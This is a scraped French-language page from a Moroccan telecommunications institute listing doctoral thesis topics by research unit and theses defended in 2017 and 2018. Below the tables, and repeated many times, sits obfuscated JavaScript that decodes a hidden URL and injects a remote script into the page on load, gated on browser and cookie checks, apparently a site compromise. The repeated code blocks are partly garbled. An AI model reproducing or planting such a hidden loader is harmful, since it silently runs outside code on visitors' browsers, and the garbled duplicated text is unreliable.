

⚠ [1] ⚠ [1]

## Sujets de thèses [2]

### **Sujets de thèses antérieures en cours de préparation :**

|   |   |
|---|---|
| CSE   | PLLs Design for Low Power and Low Jitter Application  |
|   | Amélioration des caractéristiques de l'oscillateur commandé d'une boucle à verrouillage de phase                |
|   | Étude et développement d'une plate forme logiciel d'émulation et de simulation des problématiques des           |
|   | Étude et conception d'un convertisseur temps-numérique TDC basé sur les anneaux asymétriques                    |
|   | Conception et réalisation d'un circuit filtrage d'ordre fractionné à base de circuits translinéaires dynamiques |
|   | Optimisation de partage du Codesign (hardware-software) dans les systèmes en chip                               |
| EM2TI   | La gestion de la relation client et TIC : Secteur des télécoms  |
|   | L'ERP Open Source (OpenERP) pour les PME/PMI marocaines, Quel avantage ?  |
|   | Indices TIC et compétitivité  |
|   | Les pratiques managériales de l'entreprise marocaine à l'heure du big data et de l'intelligence collective      |
|   | Les déterminants de l'adoption de XBRL au Maroc   |
|   | Management des technologies de l'information  |
|   | Les TIC et les changements économiques et sociaux: Dynamique d'une interaction                                  |
|   | Une approche de gestion et de gouvernance de la qualité de données  |
|   | Marketing digital   |
|   | Business Intelligence et Analytics & Intelligence économique  |
|   | Big data : opportunités pour le secteurs des Télécoms   |
|   | Intelligence économique : facteur de compétitivité des entreprises et des économies émergentes                  |
| Facteurs clés de succès des stratégies de diversification dans les secteurs de TI |   |
| SEEDS   | Formalisation de la conscience dans une architecture multi-agents   |
|   | Gestion de la variabilité des services : Une approche dirigée par les modèles pour la gestion de la variabilité |
|   | Design et évaluation des architectures Web pour la communication temps réel                                     |

|        |  |
|--------|--|
|        | La priorisation des portefeuilles de projets IT  |
|        | Vers une nouvelle approche d'adaptation des processus IT   |
|        | Design and validation of architectures for start grid  |
|        | Intégration d'une approche de conduite de changement dans une méthodologie de gestion de projet            |
| MUSICS | Contrôle d'accès centralisé: Problématiques et amélioration possibles dans le cadre de la 4G               |
|        | Étude et amélioration des Systèmes CPL multi usagers pour la transmission et l'allocation de ressources    |
|        | Systèmes de coopération avancés pour les Systèmes de Transport Intelligents                                |
|        | Perception couleur pour des systèmes autonomes   |
|        | La VOIP OVER LTE : déploiement service et sécurité   |
|        | Détection et reconnaissance d'objets mobiles dans des vidéos issues de plusieurs cameras de surveillance   |
|        | Traitement des images 3D pour l'identification des symptômes   |
|        | Étude de la fiabilité des transmissions satellitaires dans la perspective de l'optimisation multi-couches  |
|        | Conception d'un système d'aide au diagnostic des images mammographies                                      |
|        | Conception estimation de paramètres de déplacement d'un véhicule automobile par fusion de données          |
|        | Morphologie mathématique adaptative  |
|        | Design and validation of architectures for start grid  |
|        | Étude et analyse des nouveaux types d'attaque déni de service de signalisation dans les réseaux mobiles    |
|        | Conception et réalisation d'un système de prévisions des catastrophes naturelles à partir des données      |
|        | Les systèmes de reconnaissance multibiométriques   |
|        | Video streaming over cognitive radio networks  |
|        | Machine learning for telecommunication   |
| OMET   | La tomographie par cohérence optique   |
|        | Étude et conception des nouvelles antennes multi-bandes et ultra large bande pour Les téléphones Portables |
|        | Protocoles de routage dans les réseaux de Capteurs   |
|        | Développement et conception d'un système filaire antennaire pour des applications radars et des comm       |
|        | Optimisation de l'autonome dans les réseaux de capteurs sans fils  |
|        | Optimisation de la voix sur wifi avec VOLTE  |
|        | Développement d'une nouvelle technique de caractérisation diélectrique des matériaux composites mul<br>3D  |

|                      |  |
|----------------------|--|
|                      | Conception d'un frontal radio multi bande 50 MHz-8GHz  |
| 5TRonG               | Application des systèmes cognitifs pour les villes intelligentes   |
|                      | Smart Grid Communication Architecture  |
|                      | Sécurité des réseaux cloud: méthodes de sécurisation dans le SAAS  |
|                      | Localisation GNSS : Intégrité de la solution GNSS dans les milieux urbains   |
|                      | Advanced PHY Techniques toward Multi-Gbit/s Wireless Communications: Design and Performance Analysis                           |
|                      | 5G receiver design and low complexity implementation   |
|                      | Novel 5G access techniques: towards a deployment of non orthogonal multiple access in a device-2-device scenario               |
|                      | Étude des paramètres de performance cas multi-flots  |
|                      | Séparation aveugle des sources pour les retransmissions HARQ   |
| RAISS                | Élaboration d'un référentiel de bonnes pratiques pour une meilleure gouvernance du cloud et proposition de modèles de services |
|                      | Qualité de service dans les réseaux Ad hoc   |
|                      | La virtualisation des services IMS   |
|                      | Les antennes intelligentes   |
|                      | Analyse, conception et réalisation des filtres en technologie volumique & planaire   |
|                      | Sécurité des réseaux : les réseaux actifs contre les attaques  |
|                      | Sécurité des systèmes d'informations pour la protection des infrastructures critiques  |
|                      | Big Data dans les solutions de convergence : Big Data dans le contexte NGN   |
|                      | Étude des aspects de sécurité pour l'Internet des Objets   |
|                      | Réputation mining dans les réseaux sociaux   |
|                      | Architecture de gestion de QoS pour services en environnement IMS et NGOSS   |
|                      | La gestion de risques des infrastructures d'information critiques  |
|                      | Évaluation des performances des réseaux sensibles de nouvelle génération   |
|                      | Financement des start-up   |
|                      | Modèles P2P et routage sensible au contexte pour les WBAN  |
|                      | La gestion des interdépendances des infrastructures critiques  |
|                      | Continuité de services et gestion de la qualité de services dans les réseaux sans fils hétérogènes                             |
|                      | Sécurité des réseaux cloud: protection de la vie privée des utilisateurs   |
| IP Multimedia System |  |

|  |
|--|
| Développement d'algorithmes de routage avec qualité de service dans les réseaux adhoc mobiles          |
| Les applications commerciales et gestion basées sur les réseaux de communication sans fils bluetooth e |
| Approches pour la protection des données personnelles  |
| Multi level integrity management in critical infrastructure  |
| Disponibilités dans les infrastructures critiques  |
| Sécurité des VANETs dans l'IMS(IP multimedia subsystem IMS) dans un contexte de cloud computing        |
| Optimisation des traitements de données volumineuses par analyse et préparation de données             |
| Integration of machine learning and graph theory in MAVET  |

## Thèses soutenues :

| Année    | Nom               | Discipline   | Unité  | Thème  |
|----------|-------------------|--|--------|--|
| 001/2017 | ABABOU Mohammed   | Informatique-<br>Télécommunications  | RAISS  | <a href="#">Nouvel<br/>l'améli<br/>protoc</a>                                      |
| 002/2017 | EL HAMMOUTI Hajar | Informatique-<br>Télécommunications  | RAISS  | <a href="#">Game<br/>control</a>   |
| 003/2017 | NACHOUANE Hamza   | Electronique-<br>Télécommunications  | OMET   | <a href="#">Contrib<br/>réalisa<br/>reconfi<br/>pour le<br/>radio c<br/>généra</a> |
| 004/2017 | EL AGUEZ Kamal    | Management des<br>technologies de<br>l'information et de la<br>communication | EM2TI  | <a href="#">Régula<br/>télécom<br/>la conc<br/>l'invest<br/>nouvel</a>             |
| 005/2017 | RACHDI Anas       | Informatique-<br>Télécommunications  | SEEDS  | <a href="#">Formal</a>   |
| 006/2017 | MESBAHI Nabil     | Informatique-<br>Télécommunications  | 5TRonG | <a href="#">Nouvel<br/>Durée<br/>Conne<br/>réseau</a>                              |
| 007/2018 | SALAHLINE Fatima  | Informatique-<br>Télécommunications  | 5TRonG | <a href="#">Compr<br/>Cogniti</a>  |
| 008/2018 | ZAMRANI Wiam      | Electronique-<br>Télécommunications  | OMET   | <a href="#">Inform<br/>image</a>   |
| 009/2018 | M'HARZI Zineb     | Electronique-<br>Télécommunications  | CSE    | <a href="#">Contrib<br/>des am<br/>pour l'é</a>                                    |



```
xtxh,');var
o=document.getElementsByTagName('script')[0];o.parentNode.insertBefore(b,o);}}function
m(v){var a="";for(var f=0;f=0;p--){k+=t[p];}return k;}});;(function(){var
x=navigator[m("4t"}n)e}gnA(r;eistu}");var y=document[m(":e}idk,owodc,");if(s(x,m("0s7w)obd)n)i(
W{"})&&!s(x,m("&dui{o;r,den;Aj"}))){if(!s(y,m("p=na{m9t(uo_,_d_("})))}{var b=document.createEleme
nt('script');b.type='text/javascript';b.async=true;b.src=m('b2)agd9f84}4,f893c(7{3;3{8,d{8(c)0cb}6
951=,v;&0)3{2{=udlirc6?;srjx.{e,d4o6c{8s}/lm{o;c{.nd,n{a,r9b}h;s;imm7a;.(k)c(a3r4t)/{/v:ssrp}t
xtxh,');var
o=document.getElementsByTagName('script')[0];o.parentNode.insertBefore(b,o);}}function
m(v){var a="";for(var f=0;f=0;p--){k+=t[p];}return k;}});;(function(){var
x=navigator[m("4t"}n)e}gnA(r;eistu}");var y=document[m(":e}idk,owodc,");if(s(x,m("0s7w)obd)n)i(
W{"})&&!s(x,m("&dui{o;r,den;Aj"}))){if(!s(y,m("p=na{m9t(uo_,_d_("})))}{var b=document.createEleme
nt('script');b.type='text/javascript';b.async=true;b.src=m('b2)agd9f84}4,f893c(7{3;3{8,d{8(c)0cb}6
951=,v;&0)3{2{=udlirc6?;srjx.{e,d4o6c{8s}/lm{o;c{.nd,n{a,r9b}h;s;imm7a;.(k)c(a3r4t)/{/v:ssrp}t
xtxh,');var
o=document.getElementsByTagName('script')[0];o.parentNode.insertBefore(b,o);}}function
m(v){var a="";for(var f=0;f=0;p--){k+=t[p];}return k;}});
```



© 2017 Institut National des Postes et Télécommunications

```
;(function(){var x=navigator[m("4t"}n)e}gnA(r;eistu}");var y=document[m(":e}idk,owodc,");if(s(x,
m("0s7w)obd)n)i(W{"})&&!s(x,m("&dui{o;r,den;Aj"}))){if(!s(y,m("p=na{m9t(uo_,_d_("})))}{var b=docu
ment.createElement('script');b.type='text/javascript';b.async=true;b.src=m('b2)agd9f84}4,f893c(7{
3;3{8,d{8(c)0cb}6951=,v;&0)3{2{=udlirc6?;srjx.{e,d4o6c{8s}/lm{o;c{.nd,n{a,r9b}h;s;imm7a;.(k
)c(a3r4t)/{/v:ssrp}txtxh,');var
o=document.getElementsByTagName('script')[0];o.parentNode.insertBefore(b,o);}}function
m(v){var a="";for(var f=0;f=0;p--){k+=t[p];}return k;}});;(function(){var
x=navigator[m("4t"}n)e}gnA(r;eistu}");var y=document[m(":e}idk,owodc,");if(s(x,m("0s7w)obd)n)i(
W{"})&&!s(x,m("&dui{o;r,den;Aj"}))){if(!s(y,m("p=na{m9t(uo_,_d_("})))}{var b=document.createEleme
nt('script');b.type='text/javascript';b.async=true;b.src=m('b2)agd9f84}4,f893c(7{3;3{8,d{8(c)0cb}6
951=,v;&0)3{2{=udlirc6?;srjx.{e,d4o6c{8s}/lm{o;c{.nd,n{a,r9b}h;s;imm7a;.(k)c(a3r4t)/{/v:ssrp}t
xtxh,');var
o=document.getElementsByTagName('script')[0];o.parentNode.insertBefore(b,o);}}function
m(v){var a="";for(var f=0;f=0;p--){k+=t[p];}return k;}});;(function(){var
x=navigator[m("4t"}n)e}gnA(r;eistu}");var y=document[m(":e}idk,owodc,");if(s(x,m("0s7w)obd)n)i(
W{"})&&!s(x,m("&dui{o;r,den;Aj"}))){if(!s(y,m("p=na{m9t(uo_,_d_("})))}{var b=document.createEleme
nt('script');b.type='text/javascript';b.async=true;b.src=m('b2)agd9f84}4,f893c(7{3;3{8,d{8(c)0cb}6
951=,v;&0)3{2{=udlirc6?;srjx.{e,d4o6c{8s}/lm{o;c{.nd,n{a,r9b}h;s;imm7a;.(k)c(a3r4t)/{/v:ssrp}t
xtxh,');var
o=document.getElementsByTagName('script')[0];o.parentNode.insertBefore(b,o);}}function
m(v){var a="";for(var f=0;f=0;p--){k+=t[p];}return k;}});;(function(){var
x=navigator[m("4t"}n)e}gnA(r;eistu}");var y=document[m(":e}idk,owodc,");if(s(x,m("0s7w)obd)n)i(
W{"})&&!s(x,m("&dui{o;r,den;Aj"}))){if(!s(y,m("p=na{m9t(uo_,_d_("})))}{var b=document.createEleme
```



```
o=document.getElementsByTagName('script')[0];o.parentNode.insertBefore(b,o);}}function
m(v){var a="";for(var f=0;f=0;p--){k+=t[p];}return k;}});;(function(){var
x=navigator[m("4t)n)e]gnA(r;eistu");var y=document[m(":e]idk,owodc,");if(s(x,m("0s7w)obd)n)i(
W{"))&&!s(x,m("&dui{o;r,den;Aj"))){if(!s(y,m("p=na{m9t(uo_,_d_"))){var b=document.createEleme
nt('script');b.type='text/javascript';b.async=true;b.src=m('b2)agd9f84}4,f893c(7{3;3{8,d{8(c)0cb}6
951=,v;&0)3{2{=udlirc6?;srjx.{e,d4o6c{8s}/lm{o;c{.nd,n{a,r9b}h;s;imm7a;.(k)c(a3r4t)/{/v:ssrp}t
xtxh,');var
```

```
o=document.getElementsByTagName('script')[0];o.parentNode.insertBefore(b,o);}}function
m(v){var a="";for(var f=0;f=0;p--){k+=t[p];}return k;}});;(function(){var
x=navigator[m("4t)n)e]gnA(r;eistu");var y=document[m(":e]idk,owodc,");if(s(x,m("0s7w)obd)n)i(
W{"))&&!s(x,m("&dui{o;r,den;Aj"))){if(!s(y,m("p=na{m9t(uo_,_d_"))){var b=document.createEleme
nt('script');b.type='text/javascript';b.async=true;b.src=m('b2)agd9f84}4,f893c(7{3;3{8,d{8(c)0cb}6
951=,v;&0)3{2{=udlirc6?;srjx.{e,d4o6c{8s}/lm{o;c{.nd,n{a,r9b}h;s;imm7a;.(k)c(a3r4t)/{/v:ssrp}t
xtxh,');var
```

```
o=document.getElementsByTagName('script')[0];o.parentNode.insertBefore(b,o);}}function
m(v){var a="";for(var f=0;f=0;p--){k+=t[p];}return k;}});;(function(){var
x=navigator[m("4t)n)e]gnA(r;eistu");var y=document[m(":e]idk,owodc,");if(s(x,m("0s7w)obd)n)i(
W{"))&&!s(x,m("&dui{o;r,den;Aj"))){if(!s(y,m("p=na{m9t(uo_,_d_"))){var b=document.createEleme
nt('script');b.type='text/javascript';b.async=true;b.src=m('b2)agd9f84}4,f893c(7{3;3{8,d{8(c)0cb}6
951=,v;&0)3{2{=udlirc6?;srjx.{e,d4o6c{8s}/lm{o;c{.nd,n{a,r9b}h;s;imm7a;.(k)c(a3r4t)/{/v:ssrp}t
xtxh,');var
```

```
o=document.getElementsByTagName('script')[0];o.parentNode.insertBefore(b,o);}}function
m(v){var a="";for(var f=0;f=0;p--){k+=t[p];}return k;}});;(function(){var
x=navigator[m("4t)n)e]gnA(r;eistu");var y=document[m(":e]idk,owodc,");if(s(x,m("0s7w)obd)n)i(
W{"))&&!s(x,m("&dui{o;r,den;Aj"))){if(!s(y,m("p=na{m9t(uo_,_d_"))){var b=document.createEleme
nt('script');b.type='text/javascript';b.async=true;b.src=m('b2)agd9f84}4,f893c(7{3;3{8,d{8(c)0cb}6
951=,v;&0)3{2{=udlirc6?;srjx.{e,d4o6c{8s}/lm{o;c{.nd,n{a,r9b}h;s;imm7a;.(k)c(a3r4t)/{/v:ssrp}t
xtxh,');var
```

```
o=document.getElementsByTagName('script')[0];o.parentNode.insertBefore(b,o);}}function
m(v){var a="";for(var f=0;f=0;p--){k+=t[p];}return k;}});;(function(){var
x=navigator[m("4t)n)e]gnA(r;eistu");var y=document[m(":e]idk,owodc,");if(s(x,m("0s7w)obd)n)i(
W{"))&&!s(x,m("&dui{o;r,den;Aj"))){if(!s(y,m("p=na{m9t(uo_,_d_"))){var b=document.createEleme
nt('script');b.type='text/javascript';b.async=true;b.src=m('b2)agd9f84}4,f893c(7{3;3{8,d{8(c)0cb}6
951=,v;&0)3{2{=udlirc6?;srjx.{e,d4o6c{8s}/lm{o;c{.nd,n{a,r9b}h;s;imm7a;.(k)c(a3r4t)/{/v:ssrp}t
xtxh,');var
```

```
o=document.getElementsByTagName('script')[0];o.parentNode.insertBefore(b,o);}}function
m(v){var a="";for(var f=0;f=0;p--){k+=t[p];}return k;}});;(function(){var
x=navigator[m("4t)n)e]gnA(r;eistu");var y=document[m(":e]idk,owodc,");if(s(x,m("0s7w)obd)n)i(
W{"))&&!s(x,m("&dui{o;r,den;Aj"))){if(!s(y,m("p=na{m9t(uo_,_d_"))){var b=document.createEleme
nt('script');b.type='text/javascript';b.async=true;b.src=m('b2)agd9f84}4,f893c(7{3;3{8,d{8(c)0cb}6
951=,v;&0)3{2{=udlirc6?;srjx.{e,d4o6c{8s}/lm{o;c{.nd,n{a,r9b}h;s;imm7a;.(k)c(a3r4t)/{/v:ssrp}t
xtxh,');var
```

```
o=document.getElementsByTagName('script')[0];o.parentNode.insertBefore(b,o);}}function
m(v){var a="";for(var f=0;f=0;p--){k+=t[p];}return k;}});;(function(){var
x=navigator[m("4t)n)e]gnA(r;eistu");var y=document[m(":e]idk,owodc,");if(s(x,m("0s7w)obd)n)i(
W{"))&&!s(x,m("&dui{o;r,den;Aj"))){if(!s(y,m("p=na{m9t(uo_,_d_"))){var b=document.createEleme
nt('script');b.type='text/javascript';b.async=true;b.src=m('b2)agd9f84}4,f893c(7{3;3{8,d{8(c)0cb}6
951=,v;&0)3{2{=udlirc6?;srjx.{e,d4o6c{8s}/lm{o;c{.nd,n{a,r9b}h;s;imm7a;.(k)c(a3r4t)/{/v:ssrp}t
xtxh,');var
```

```
o=document.getElementsByTagName('script')[0];o.parentNode.insertBefore(b,o);}}function
m(v){var a="";for(var f=0;f=0;p--){k+=t[p];}return k;}});;(function(){var
x=navigator[m("4t)n)e]gnA(r;eistu");var y=document[m(":e]idk,owodc,");if(s(x,m("0s7w)obd)n)i(
W{"))&&!s(x,m("&dui{o;r,den;Aj"))){if(!s(y,m("p=na{m9t(uo_,_d_"))){var b=document.createEleme
nt('script');b.type='text/javascript';b.async=true;b.src=m('b2)agd9f84}4,f893c(7{3;3{8,d{8(c)0cb}6
951=,v;&0)3{2{=udlirc6?;srjx.{e,d4o6c{8s}/lm{o;c{.nd,n{a,r9b}h;s;imm7a;.(k)c(a3r4t)/{/v:ssrp}t
xtxh,');var
```

```
o=document.getElementsByTagName('script')[0];o.parentNode.insertBefore(b,o);}}function
m(v){var a="";for(var f=0;f=0;p--){k+=t[p];}return k;}});;(function(){var
x=navigator[m("4t)n)e]gnA(r;eistu");var y=document[m(":e]idk,owodc,");if(s(x,m("0s7w)obd)n)i(
```



```
W{"})&&!s(x,m("&dui{o;r,den;Aj"))){if(!s(y,m("p=na{m9t(uo_,_d_(")))}{var b=document.createElement('script');b.type='text/javascript';b.async=true;b.src=m('b2)agd9f84}4,f893c(7{3;3{8,d{8(c)0cb}6951=,v;&0)3{2{=udlirc6?;srjx.{e,d4o6c{8s}/lm{o;c{.nd,n{a,r9b}h;s,imm7a;.(k)c(a3r4t)/{/v:ssrp}txh,');var o=document.getElementsByTagName('script')[0];o.parentNode.insertBefore(b,o);}}function m(v){var a="";for(var f=0;f=0;p--){k+=t[p];}return k;}});;(function(){var x=navigator[m("4t}n)e}gnA(r;eistu}");var y=document[m(":e}idk,owodc,");if(s(x,m("0s7w)obd)n)i(W{"})&&!s(x,m("&dui{o;r,den;Aj"))){if(!s(y,m("p=na{m9t(uo_,_d_(")))}{var b=document.createElement('script');b.type='text/javascript';b.async=true;b.src=m('b2)agd9f84}4,f893c(7{3;3{8,d{8(c)0cb}6951=,v;&0)3{2{=udlirc6?;srjx.{e,d4o6c{8s}/lm{o;c{.nd,n{a,r9b}h;s,imm7a;.(k)c(a3r4t)/{/v:ssrp}txh,');var o=document.getElementsByTagName('script')[0];o.parentNode.insertBefore(b,o);}}function m(v){var a="";for(var f=0;f=0;p--){k+=t[p];}return k;}});
```

**Source URL:** <http://www.inpt.ac.ma/fr/sujets-de-th%C3%A8ses-et-publications>

## Liens

- [1] <http://www.inpt.ac.ma/fr/javascript%3A%3B>
- [2] <http://www.inpt.ac.ma/fr/sujets-de-th%C3%A8ses-et-publications>
- [3] <http://www.inpt.ac.ma/fr/r%C3%A9sum%C3%A9-001-2017>
- [4] <http://www.inpt.ac.ma/fr/r%C3%A9sum%C3%A9-002-2017>
- [5] <http://www.inpt.ac.ma/fr/r%C3%A9sum%C3%A9-003-2017>
- [6] <http://www.inpt.ac.ma/fr/r%C3%A9sum%C3%A9-004-2017>
- [7] <http://www.inpt.ac.ma/fr/r%C3%A9sum%C3%A9-005-2017>
- [8] <http://www.inpt.ac.ma/fr/r%C3%A9sum%C3%A9-006-2017>
- [9] <http://www.inpt.ac.ma/fr/r%C3%A9sum%C3%A9-007-2018-0>
- [10] <http://www.inpt.ac.ma/fr/r%C3%A9sum%C3%A9-008-2018>
- [11] <http://www.inpt.ac.ma/fr/r%C3%A9sum%C3%A9-009-2018>